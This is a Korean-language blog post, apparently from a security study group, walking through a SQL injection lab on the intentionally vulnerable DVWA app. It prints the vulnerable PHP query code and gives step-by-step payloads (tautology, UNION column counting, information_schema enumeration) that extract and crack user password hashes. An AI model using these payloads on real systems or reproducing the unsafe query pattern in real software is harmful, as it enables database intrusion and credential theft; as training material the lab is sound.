TeamH4C

[빡공팟 5기] W5 : DVWA 실습 - SQL Injection

이유갬 2022. 10. 23. 02:22

[SQL Injection 취약점의 정의]

데이터베이스에 접속하고 테이블에 값을 가져오거나 생성할 때 쿼리문을 사용하는데,

이때 사용자의 입력값을 그대로 쿼리문에 사용하는 경우 취약점이 발생한다.

 

[실습 내용]

SQL Injection 을 이용하여 사용자 계정 정보를 알아내보자.

 

[SQL Injection 을 보안하는 방법]

사용자의 입력을 그대로 받지 않고 필터링 함수를 이용하여 필터링을 거친다.

 


[초기화면]

- 숫자를 입력하면 숫자에 해당하는 계정이 출력된다.

- 2번을 입력해보니 또 다른 계정이 나온다.

- 이렇게 사용자 계정들을 조회할 수 있는 폼에서 SQL Injection 을 발생시키는 것 같다.

- 이제 소스 코드를 살펴보자

[View Source]

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

- 소스코드는 위와 같다.

- 입력한 id 를 받고 이를 SQL 쿼리문을 이용해서 조회한다. -> 이때 입력받은 값을 그대로 사용하므로 SQL Injection 이 발생가능하다.

- users 테이블에서 user_id 에 해당하는 행에서 first_name, last name 을 가져온다.

- 2번은 Gordon Brown 인듯하다.

 

- 해당 공격이 작동할 수 있는지 ' 를 대입해보았다.

- 경고문에서 볼 수 있듯이 SQL 문법 오류가 발생했다는 에러 메시지가 출력되었다. -> Error Based SQL Injection

- 이제 쿼리문을 이용하여 모든 사용자 계정을 출력해보자.

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

- 쿼리문을 살펴보면 '' 로 $id 를 감싸고 있는 것을 알 수 있다. ' 를 이용해서 '' 닫아버리고 참으로 만들자.

- 1' or '1'='1 로 작성하면 결국 user_id = ' 1' or '1'='1' 가 되므로 참이 된다.

- 따라서 이와 같이 사용자 계정을 모두 출력했다!

- 이번엔 UNION 을 이용하여 SQL Injection 을 시도해보자.

- 이때, union 사용에서 주의해야 할 것은 원래 쿼리문이 조회하는 select 문의 칼럼 개수와 union 뒤에 요청하는 칼럼 개수가 같아야 한다.

- 따라서, 원래 칼럼의 개수가 몇 개인지 알아내야한다. -> 1' union select 1# 을 이용한다.

- 칼럼의 개수가 다르다는 에러 메시지가 출력된 것으로 보아 칼럼의 개수는 1이 아니다. 그렇다면 1, 1을 입력해보자!

- 해당하는 값을 가져오므로 칼럼의 개수는 2 임을 알 수 있다. -> 칼럼의 개수를 알아내는 방법에는 order by 도 있다.

- order by 는 칼럼을 기준으로 정렬을 하는데 이때, 존재하지 않는 칼럼을 입력하면 에러 메시지가 출력된다.

- 따라서 위의 구문을 이용하여 order by 키워드를 사용한다. -> 1' order by 1#

 

- 1' order by 3# 을 입력하면 3 에 해당하는 칼럼이 정의되어 있지 않다는 에러 메시지가 출력된다.

- 따라서, 칼럼의 개수가 2 라는 것을 알 수 있다. -> union 을 사용하는 것보다 더 빠르게 칼럼의 개수를 알아낼 수 있다.

- 이제 칼럼의 개수를 알아냈으니 데이터 베이스의 정보를 읽어오는 실습을 진행해보겠다.

- 해당 페이지의 소스코드의 쿼리문을 이용하여 데이터 베이스의 정보를 모두 읽어오겠다.

"SELECT first_name, last_name FROM users WHERE user_id = '$id';"

- 위와 같은 쿼리문을 사용하여 users 테이블에 id 에 해당하는 사용자의 행의 값을 가져온다.

- union 을 사용하여 사용자 계정들의 비밀번호를 가져와보자.

' union select user_id, password FROM users#

- 해당 명령어를 입력하니 사용자 계정들의 비밀번호를 가져올 수 있었다.

- 하지만 열의 값이 password 라고 찍은 게 맞아서 획득할 수 있었던거지 이 방법은 정보를 정말 많이 알고 있을 때의 얘기다.

- 만약 쿼리문에 대한 정보가 극히 제한적이고 열의 이름 또한 예측할 수 없다면 어떻게 사용자 계정의 비밀번호를 획득할 수 있을까?

1' union select schema_name, 1 from information_schema.schemata #

- MY SQL 에서는 information_schema 에서 데이터 베이스에서 테이블, 칼럼 정보를 다루고 있다.

- 따라서 위 쿼리문을 이용하면 데이터 베이스의 schemata (테이블명) 에서 schema_name (데이터베이스명) 을 알아낼 수 있다.

 

- 실제 DB 에서 해당 쿼리문을 입력하면 이렇게 나온다.

- 이제 dvwa DB 에서 테이블을 조회해보자.

1' union select table_schema, table_name from information_schema.tables where table_schema="dvwa"#

- 총 3개의 테이블이 나온다.

- admin 테이블이 엄청 중요해보이긴 하지만, 현재 유저들의 비밀번호를 캐내야 하므로 users 테이블에 들어가본다.

1' union select table_name, column_name from information_schema.columns where table_schema="dvwa" and table_name="users"#

- password 열에 유저의 비밀번호가 있을 것으로 보인다.

- 마지막으로 password 를 가져오는 쿼리문을 작성한다.

1' union select password, user from users#

- 이렇게 암호화 된 비밀번호를 획득할 수 있다.

- DVWA 는 MD5 암호화 방식을 사용하므로 구글링을 통해 해시값을 찾아보았다.

- admin 의 암호화 된 비밀번호를 검색했더니 결과가 나왔다.